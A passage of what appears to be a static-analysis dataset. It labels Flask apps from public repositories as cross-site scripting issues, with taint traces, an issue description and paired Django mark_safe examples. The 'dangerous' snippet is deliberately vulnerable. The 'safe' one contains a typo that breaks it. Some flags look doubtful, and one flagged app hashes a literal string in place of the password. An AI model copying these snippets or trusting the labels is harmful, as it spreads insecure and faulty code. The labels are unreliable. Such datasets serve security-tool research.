{"arg0": "render_template"}}]}}
{"id": "5033ef41fabfdec679af043c1d5d8f71323643160a39d0b4cf6f918558b4a827", "license": {"spdx": ["MIT"], "repo": "snandasena/disaster-response-pipeline", "path": "run.py", "repo_head_hexsha": "709af8c5fcb520dae82dc3b75c30ab2609402f53", "stack_hexsha": "d2e64e022f433cd3fd044c614f4cd92d7a6f232d", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 151, "entireCode": "import sys\nimport json\n\nimport plotly\nfrom flask import Flask\nfrom flask import render_template, request\nfrom plotly.graph_objects import Heatmap, Bar\nfrom sklearn.externals import joblib\nfrom sqlalchemy import create_engine\n\nsys.path.append(\"common\")\n\nfrom common.nlp_common_utils import *\n\nif len(sys.argv) == 1:\n    sys.argv.append('./data/DisasterResponse.db')\n    sys.argv.append('./models/classifier.pkl')\n\n\n# this requires for joblib and pickle\ndef tokenize(text):\n    \"\"\"\n    Used a common utility functions for tokenize text in to cleaned token list.\n\n    INPUT:\n        text - raw message\n\n    OUTPUT:\n        clean_tokens -- cleaned tokenized list\n    \"\"\"\n    return tokenize_text(text)\n\n\n# create a flask app\napp = Flask(__name__, template_folder='app/templates')\n\n#\ndatabase_file_location, model_location = sys.argv[1:]\n# load data\nengine = create_engine('sqlite:///{}'.format(database_file_location))\ndf = pd.read_sql_table('DisasterResponse', engine)\n\n# category df\ndf_categories = df.iloc[:, 4:]\n\n# load model\nmodel = joblib.load(model_location)\n\n\ndef generate_graph_with_template(data, title, yaxis_title, xaxi_title):\n    \"\"\"\n    This common layout can be used to create Plotly graph layout.\n    INPUT:\n        data - a graph required JSON data i.e list\n        title - a tile of the chart\n        yaxis_title - Y title\n        xaxix_title - X title\n    OUTPUT:\n        layout for particular graph.\n    \"\"\"\n    return {\n        'data': [data],\n\n        'layout': {\n            'title': title,\n            'yaxis': {\n                'title': yaxis_title\n            },\n            'xaxis': {\n                'title': xaxi_title\n            }\n        }\n    }\n\n\ndef generate_message_genres_bar_chart():\n    \"\"\"\n    create a graph using extracted data for `genre`\n    \"\"\"\n    # extract data needed for visuals\n    genre_counts = df.groupby('genre').count()['message']\n    genre_names = list(genre_counts.index)\n    data = Bar(x=genre_names, y=genre_counts)\n    title = 'Distribution of Message Genres'\n    y_title = 'Count'\n    x_title = 'Genre'\n    return generate_graph_with_template(data, title, y_title, x_title)\n\n\ndef generate_message_categories_distribution_bar_chart():\n    \"\"\"\n    create a graph for distribution of the messages.\n    \"\"\"\n    data = Bar(x=df_categories.columns,\n               y=list(df_categories.sum().sort_values(ascending=False)))\n    title = 'Distribution of Message Categories'\n    y_title = 'Count'\n    x_title = 'Category'\n\n    return generate_graph_with_template(data, title, y_title, x_title)\n\n\ndef generate_two_cat_relation_heat_map():\n    \"\"\"\n    A correlation matrix for categories\n    \"\"\"\n    data = Heatmap(\n        z=df_categories.corr(),\n        y=df_categories.columns,\n        x=df_categories.columns)\n\n    title = 'Correlation Distribution of Categories'\n    y_title = 'Category'\n    x_title = 'Category'\n    return generate_graph_with_template(data, title, y_title, x_title)\n\n\ndef generate_graphs():\n    # create visuals\n    graphs = [generate_message_genres_bar_chart(),\n              generate_message_categories_distribution_bar_chart(),\n              generate_two_cat_relation_heat_map()]\n\n    return graphs\n\n\n# index webpage displays cool visuals and receives user input text for model\n@app.route('/')\n@app.route('/index')\ndef index():\n    graphs = generate_graphs()\n    # encode plotly graphs in JSON\n    ids = [\"graph-{}\".format(i) for i, _ in enumerate(graphs)]\n    graph_json = json.dumps(graphs, cls=plotly.utils.PlotlyJSONEncoder)\n\n    # render web page with plotly graphs\n    return render_template('master.html', ids=ids, graphJSON=graph_json)\n\n\n# web page that handles user query and displays model results\n@app.route('/go')\ndef go():\n    # save user input in query\n    query = request.args.get('query', '')\n\n    # use model to predict classification for query\n    classification_labels = model.predict([query])[0]\n    classification_results = dict(zip(df.columns[4:], classification_labels))\n\n    # This will render the go.html Please see that file. \n    return render_template(\n        'go.html',\n        query=query,\n        classification_result=classification_results\n    )\n\n\ndef main():\n    app.run(host='0.0.0.0', port=3001, debug=True)\n\n\nif __name__ == '__main__':\n    main()", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 144, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 144, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 144, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 144, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 151, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "0c8351d7345b3b2475900545ca2d11af7a36615a211e9d5b99d40430d94222b4", "license": {"spdx": ["MIT"], "repo": "abdur75648/ai-image-generator", "path": "app.py", "repo_head_hexsha": "82b10d1360efb2af9afbc580744eca4d9763c687", "stack_hexsha": "33c4d9cd799c0848aed6273bf409593aceac5368", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 33, "entireCode": "from flask import Flask, request, send_from_directory, redirect, send_file, render_template\nimport os,cv2\nimport neuralStyleProcess\n\napp = Flask(__name__)\n\nAPP_ROOT = os.path.dirname(os.path.abspath(__file__))\n\n@app.route(\"/\")\ndef index():\n\treturn render_template(\"upload.html\")\n@app.route(\"/upload\", methods=['POST'])\ndef upload():\n\ttarget = os.path.join(APP_ROOT, 'images/')\n\tprint(\"TARGET\", target)\n\tif not os.path.isdir(target):\n\t\tos.mkdir(target)\n\telse:\n\t\tprint(\"Couldn't create upload directory: {}\".format(target))\n\tdata = request.form.get(\"style\")\n\tprint(data)\n\tmyFiles = []\n\tfor file in request.files.getlist(\"file\"):\n\t\tprint(\"file\", file)\n\t\tfilename = file.filename\n\t\tprint(\"filename\", filename)\n\t\tdestination = \"\".join([target, filename])\n\t\tprint(\"destination\", destination)\n\t\tfile.save(destination)\n\t\tmyFiles.append(filename)\n\tprint(myFiles)\n\n\treturn render_template(\"complete.html\", image_names=myFiles, selected_style=data)\n\n# This function takes the parameter name \n@app.route('/upload/')\ndef send_original_image(filename):\n\treturn send_from_directory(\"images\", filename)\n\n@app.route('/complete//')\ndef send_processed_image(filename, selected_style):\n\tdirectoryName = os.path.join(APP_ROOT, 'images/')\n\tnewImg = neuralStyleProcess.neuralStyleTransfer(directoryName, filename, selected_style)\n\treturn send_from_directory(\"images\", newImg)\n\nif __name__ == '__main__':\n    app.run()", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.files"}}, {"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "getlist"}}, {"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "fileupload.file.filename"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "append"}}, {"lineNo": 33, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "9d7784b8a3955028514830c45beebb84f43bb5c536ac5816783c84dbbd1ee28b", "license": {"spdx": ["MIT"], "repo": "akawashiro/isucon6-qualify", "path": "webapp/python/isuda.py", "repo_head_hexsha": "ec51c51a5a43f3d1aa192c1404e5e121c087c5d0", "stack_hexsha": "21016a21d5882a186ec10f492251ce61d6a1d407", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 165, "entireCode": "from flask import Flask, request, jsonify, abort, render_template, redirect, session, url_for\nimport MySQLdb.cursors\nimport hashlib\nimport html\nimport json\nimport math\nimport os\nimport pathlib\nimport random\nimport re\nimport string\nimport urllib\nimport sys\nfrom werkzeug.contrib.profiler import ProfilerMiddleware, MergeStream\n\nstatic_folder = pathlib.Path(__file__).resolve().parent.parent / 'public'\napp = Flask(__name__, static_folder=str(static_folder), static_url_path='')\n\napp.secret_key = 'tonymoris'\n\nf = open('/home/isucon/profiler.log', 'w')\nstream = MergeStream(sys.stdout, f)\napp.config['PROFILE'] = True\napp.wsgi_app = ProfilerMiddleware(app.wsgi_app, stream, sort_by=('time', 'calls'))\n\n\nkeywords_cache = None\nkeyword_re_cache = None\n\n\n# app.logger.critical('this is a CRITICAL message')\n\n\n_config = {\n    'db_host':       os.environ.get('ISUDA_DB_HOST', 'localhost'),\n    'db_port':       int(os.environ.get('ISUDA_DB_PORT', '3306')),\n    'db_user':       os.environ.get('ISUDA_DB_USER', 'root'),\n    'db_password':   os.environ.get('ISUDA_DB_PASSWORD', ''),\n    'isutar_origin': os.environ.get('ISUTAR_ORIGIN', 'http://localhost:5001'),\n    'isupam_origin': os.environ.get('ISUPAM_ORIGIN', 'http://localhost:5050'),\n}\n\n\ndef config(key):\n    if key in _config:\n        return _config[key]\n    else:\n        raise \"config value of %s undefined\" % key\n\n\ndef dbh_isuda():\n    if hasattr(request, 'isuda_db'):\n        return request.isuda_db\n    else:\n        request.isuda_db = MySQLdb.connect(**{\n            'host': config('db_host'),\n            'port': config('db_port'),\n            'user': config('db_user'),\n            'passwd': config('db_password'),\n            'db': 'isuda',\n            'charset': 'utf8mb4',\n            'cursorclass': MySQLdb.cursors.DictCursor,\n            'autocommit': True,\n        })\n        cur = request.isuda_db.cursor()\n        cur.execute(\"SET SESSION sql_mode='TRADITIONAL,NO_AUTO_VALUE_ON_ZERO,ONLY_FULL_GROUP_BY'\")\n        cur.execute('SET NAMES utf8mb4')\n        return request.isuda_db\n\n\ndef dbh_isutar():\n    if hasattr(request, 'isutar_db'):\n        return request.isutar_db\n    else:\n        request.isutar_db = MySQLdb.connect(**{\n            'host': os.environ.get('ISUTAR_DB_HOST', 'localhost'),\n            'port': int(os.environ.get('ISUTAR_DB_PORT', '3306')),\n            'user': os.environ.get('ISUTAR_DB_USER', 'root'),\n            'passwd': os.environ.get('ISUTAR_DB_PASSWORD', ''),\n            'db': 'isutar',\n            'charset': 'utf8mb4',\n            'cursorclass': MySQLdb.cursors.DictCursor,\n            'autocommit': True,\n        })\n        cur = request.isutar_db.cursor()\n        cur.execute(\"SET SESSION sql_mode='TRADITIONAL,NO_AUTO_VALUE_ON_ZERO,ONLY_FULL_GROUP_BY'\")\n        cur.execute('SET NAMES utf8mb4')\n        return request.isutar_db\n\n\n@app.teardown_request\ndef close_db(exception=None):\n    if hasattr(request, 'db'):\n        request.db.close()\n\n\n@app.template_filter()\ndef ucfirst(str):\n    return str[0].upper() + str[-len(str) + 1:]\n\n\ndef set_name(func):\n    import functools\n\n    @functools.wraps(func)\n    def wrapper(*args, **kwargs):\n        if \"user_id\" in session:\n            request.user_id = user_id = session['user_id']\n            cur = dbh_isuda().cursor()\n            cur.execute('SELECT name FROM user WHERE id = %s', (user_id, ))\n            user = cur.fetchone()\n            if user is None:\n                abort(403)\n            request.user_name = user['name']\n\n        return func(*args, **kwargs)\n    return wrapper\n\n\ndef authenticate(func):\n    import functools\n\n    @functools.wraps(func)\n    def wrapper(*args, **kwargs):\n        if not hasattr(request, 'user_id'):\n            abort(403)\n        return func(*args, **kwargs)\n\n    return wrapper\n\n\n@app.route('/initialize')\ndef get_initialize():\n    global keywords_cache\n    global keyword_re_cache\n    keywords_cache = None\n    keyword_re_cache = None\n\n    cur = dbh_isuda().cursor()\n    cur.execute('DELETE FROM entry WHERE id > 7101')\n    origin = config('isutar_origin')\n    urllib.request.urlopen(origin + '/initialize')\n    return jsonify(result='ok')\n\n\n@app.route('/')\n@set_name\ndef get_index():\n    PER_PAGE = 10\n    page = int(request.args.get('page', '1'))\n\n    cur = dbh_isuda().cursor()\n    cur.execute('SELECT * FROM entry ORDER BY updated_at DESC LIMIT %s OFFSET %s', (PER_PAGE, PER_PAGE * (page - 1),))\n    entries = cur.fetchall()\n    for entry in entries:\n        entry['html'] = htmlify(entry['description'])\n        entry['stars'] = load_stars(entry['keyword'])\n\n    cur.execute('SELECT COUNT(*) AS count FROM entry')\n    row = cur.fetchone()\n    total_entries = row['count']\n    last_page = int(math.ceil(total_entries / PER_PAGE))\n    pages = range(max(1, page - 5), min(last_page, page + 5) + 1)\n\n    return render_template('index.html', entries=entries, page=page, last_page=last_page, pages=pages)\n\n\n@app.route('/robots.txt')\ndef get_robot_txt():\n    abort(404)\n\n\n@app.route('/keyword', methods=['POST'])\n@set_name\n@authenticate\ndef create_keyword():\n    global keywords_cache\n    global keyword_re_cache\n    keyword = request.form['keyword']\n    if keyword is None or len(keyword) == 0:\n        abort(400)\n    if keywords_cache is not None:\n        keywords_cache.add(keyword)\n    keyword_re_cache = None\n\n    user_id = request.user_id\n    description = request.form['description']\n\n    if is_spam_contents(description) or is_spam_contents(keyword):\n        abort(400)\n\n    cur = dbh_isuda().cursor()\n    sql = \"\"\"\n        INSERT INTO entry (author_id, keyword, description, created_at, updated_at)\n        VALUES (%s,%s,%s,NOW(), NOW())\n        ON DUPLICATE KEY UPDATE\n        author_id = %s, keyword = %s, description = %s, updated_at = NOW()\n\"\"\"\n    cur.execute(sql, (user_id, keyword, description, user_id, keyword, description))\n    return redirect('/')\n\n\n@app.route('/register')\n@set_name\ndef get_register():\n    return render_template('authenticate.html', action='register')\n\n\n@app.route('/register', methods=['POST'])\ndef post_register():\n    name = request.form['name']\n    pw = request.form['password']\n    if name is None or name == '' or pw is None or pw == '':\n        abort(400)\n\n    user_id = register(dbh_isuda().cursor(), name, pw)\n    session['user_id'] = user_id\n    return redirect('/')\n\n\ndef register(cur, user, password):\n    salt = random_string(20)\n    cur.execute(\"INSERT INTO user (name, salt, password, created_at) VALUES (%s, %s, %s, NOW())\",\n                (user, salt, hashlib.sha1((salt + \"password\").encode('utf-8')).hexdigest(),))\n    cur.execute(\"SELECT LAST_INSERT_ID() AS last_insert_id\")\n    return cur.fetchone()['last_insert_id']\n\n\ndef random_string(n):\n    return ''.join([random.choice(string.ascii_letters + string.digits) for i in range(n)])\n\n\n@app.route('/login')\n@set_name\ndef get_login():\n    return render_template('authenticate.html', action='login')\n\n\n@app.route('/login', methods=['POST'])\ndef post_login():\n    name = request.form['name']\n    cur = dbh_isuda().cursor()\n    cur.execute(\"SELECT * FROM user WHERE name = %s\", (name, ))\n    row = cur.fetchone()\n    if row is None or row['password'] != hashlib.sha1((row['salt'] + request.form['password']).encode('utf-8')).hexdigest():\n        abort(403)\n\n    session['user_id'] = row['id']\n    return redirect('/')\n\n\n@app.route('/logout')\ndef get_logout():\n    session.pop('user_id', None)\n    return redirect('/')\n\n\n@app.route('/keyword/')\n@set_name\ndef get_keyword(keyword):\n    if keyword == '':\n        abort(400)\n\n    cur = dbh_isuda().cursor()\n    cur.execute('SELECT * FROM entry WHERE keyword = %s', (keyword,))\n    entry = cur.fetchone()\n    if entry is None:\n        abort(404)\n\n    entry['html'] = htmlify(entry['description'])\n    entry['stars'] = load_stars(entry['keyword'])\n    return render_template('keyword.html', entry=entry)\n\n\n@app.route('/keyword/', methods=['POST'])\n@set_name\n@authenticate\ndef delete_keyword(keyword):\n    global keywords_cache\n    global keyword_re_cache\n    if keyword == '':\n        abort(400)\n    if keywords_cache is not None and keyword in keywords_cache:\n        keywords_cache.remove(keyword)\n    keyword_re_cache = None\n\n    cur = dbh_isuda().cursor()\n    cur.execute('SELECT keyword FROM entry WHERE keyword = %s', (keyword, ))\n    row = cur.fetchone()\n    if row is None:\n        abort(404)\n\n    cur.execute('DELETE FROM entry WHERE keyword = %s', (keyword,))\n\n    return redirect('/')\n\n\ndef make_keyword_list():\n    global keywords_cache\n    if keywords_cache is not None:\n        return list(keywords_cache)\n\n    cur = dbh_isuda().cursor()\n    cur.execute('SELECT keyword FROM entry ORDER BY CHARACTER_LENGTH(keyword) DESC')\n    keywords = list()\n    for k in cur.fetchall():\n        keywords.append(k['keyword'])\n    keywords_cache = set(keywords)\n    return keywords\n\n\ndef make_keyword_re(keywords):\n    global keyword_re_cache\n    if keyword_re_cache is not None:\n        return keyword_re_cache\n    keyword_re_cache = re.compile(\"(%s)\" % '|'.join([re.escape(k) for k in keywords]))\n    return keyword_re_cache\n\n\ndef htmlify(content):\n    if content is None or content == '':\n        return ''\n\n    # cur = dbh_isuda().cursor()\n    # cur.execute('SELECT * FROM entry ORDER BY CHARACTER_LENGTH(keyword) DESC')\n    # keywords = cur.fetchall()\n    keywords = make_keyword_list()\n    keyword_re = make_keyword_re(keywords)\n    kw2sha = {}\n\n    def replace_keyword(m):\n        kw2sha[m.group(0)] = \"isuda_%s\" % hashlib.sha1(m.group(0).encode('utf-8')).hexdigest()\n        return kw2sha[m.group(0)]\n\n    result = re.sub(keyword_re, replace_keyword, content)\n    result = html.escape(result)\n    for kw, hash in kw2sha.items():\n        url = url_for('get_keyword', keyword=kw)\n        link = \"%s\" % (url, html.escape(kw))\n        result = re.sub(re.compile(hash), link, result)\n\n    return re.sub(re.compile(\"\\n\"), \"
\", result)\n\n\ndef get_stars(keyword):\n cur = dbh_isutar().cursor()\n app.logger.critical('keyword = ' + keyword)\n cur.execute('SELECT * FROM star WHERE keyword = %s', (keyword, ))\n res = cur.fetchall()\n return res\n\n\ndef load_stars(keyword):\n # cur = dbh_isutar().cursor()\n # cur.execute('SELECT * FROM star WHERE keyword = %s', (keyword, ))\n # res = cur.fetchall()\n # return res\n\n origin = config('isutar_origin')\n url = \"%s/stars\" % origin\n params = urllib.parse.urlencode({'keyword': keyword})\n with urllib.request.urlopen(url + \"?%s\" % params) as res:\n data = json.loads(res.read().decode('utf-8'))\n return data['stars']\n\n\ndef is_spam_contents(content):\n with urllib.request.urlopen(config('isupam_origin'), urllib.parse.urlencode({\"content\": content}).encode('utf-8')) as res:\n data = json.loads(res.read().decode('utf-8'))\n return not data['valid']\n\n return False\n\n\nif __name__ == \"__main__\":\n app.run()", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 152, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "cursor"}}, {"lineNo": 154, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "fetchall"}}, {"lineNo": 154, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 165, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "438c2cdb5cc3d39c7be55b5d129a077206c529aa17f63d5d99a7429ecaace37d", "license": {"spdx": ["MIT"], "repo": "uip-pc3/calculadora-de-comisiones-andrew962", "path": "App/main.py", "repo_head_hexsha": "344c9e04926c810a9549b8899bcb4b4aae071da7", "stack_hexsha": "645cdcce15f683ef36c7e69e585e1850939a7867", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 51, "entireCode": "\"\"\"Librerias Importadas\"\"\"\nfrom flask import Flask\nfrom flask import render_template\nfrom flask import request\n\n\n\nApp=Flask(__name__)\n\n\n@App.route('/')\ndef index():\n \"\"\"Pagina Principal en donde se introduce el nombre, apellido, comision\"\"\"\n return render_template('index.html')\n\n\n@App.route('/porcentaje',methods=['POST'])\ndef porcentaje():\n if request.method=='POST':\n \"\"\":var file: es la variable que estoy utilizando para acceder al\n archivo y copiar en el.\"\"\"\n file=open(\"archivo.csv\",\"w\")\n \"\"\":var nombre: Donde se guarda el nombre obtenido en el html\"\"\"\n nombre=request.form['nombre']\n \"\"\":var apellido: Donde se guarda el apellido obtenido en el html\"\"\"\n apellido=request.form['apellido']\n \"\"\":var venta: la variable tipo venta se trae en tipo cadena\n y se combierte con el float para poder manipularla\"\"\"\n venta = float(request.form.get('venta'))\n if (venta > 100000):\n r = venta * 0.15\n elif (venta > 75000):\n r = venta * 0.10\n elif (venta > 50000):\n r = venta * 0.07\n elif (venta > 25000):\n r = venta * 0.05\n else:\n r = '¡Usted no ha realizado ventas en el Mes!'\n \"\"\"Se esta escribiendo en el archivo csv\"\"\"\n file.write(nombre)\n file.write(\",\")\n file.write(apellido)\n file.write(\",\")\n file.write(str(venta))\n file.write(\",\")\n file.write(str(r))\n file.close()\n \"\"\":return render_templates: es el return que se hace para mandar los valores\n al html\"\"\"\n return render_template('porcentaje.html',nom=nombre,ape=apellido,ven=venta,rr=r)\n\nif __name__==\"__main__\":\n App.run()", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "19"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"nombre\"]"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 51, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "0332114d120155b1dd66384dd6b45195ce630eced6889b01f315573fd8782e60", "license": {"spdx": ["MIT"], "repo": "sztanyoo/K2010-envvars", "path": "app.py", "repo_head_hexsha": "fcf0ccc356b865b9ea4cb80005105271a58ed611", "stack_hexsha": "e71d8640f648c91c132e793f9966b2f85d25064f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 12, "entireCode": "from flask import Flask\nfrom flask import render_template\nimport socket\nimport os\n\napp = Flask(__name__)\n\nTARGET = os.environ.get('TARGET')\n\n@app.route(\"/\")\ndef main():\n return render_template('target.html', name=socket.gethostname(), target=TARGET)\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=8080)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 8, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "TARGET"}}, {"lineNo": 12, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "c181836c2c19e1149a5c566453543de8355b69731a1c65974ec85c05b6d8817f", "license": {"spdx": ["BSD-2-Clause"], "repo": "lex/yuuh-pizza-kebab", "path": 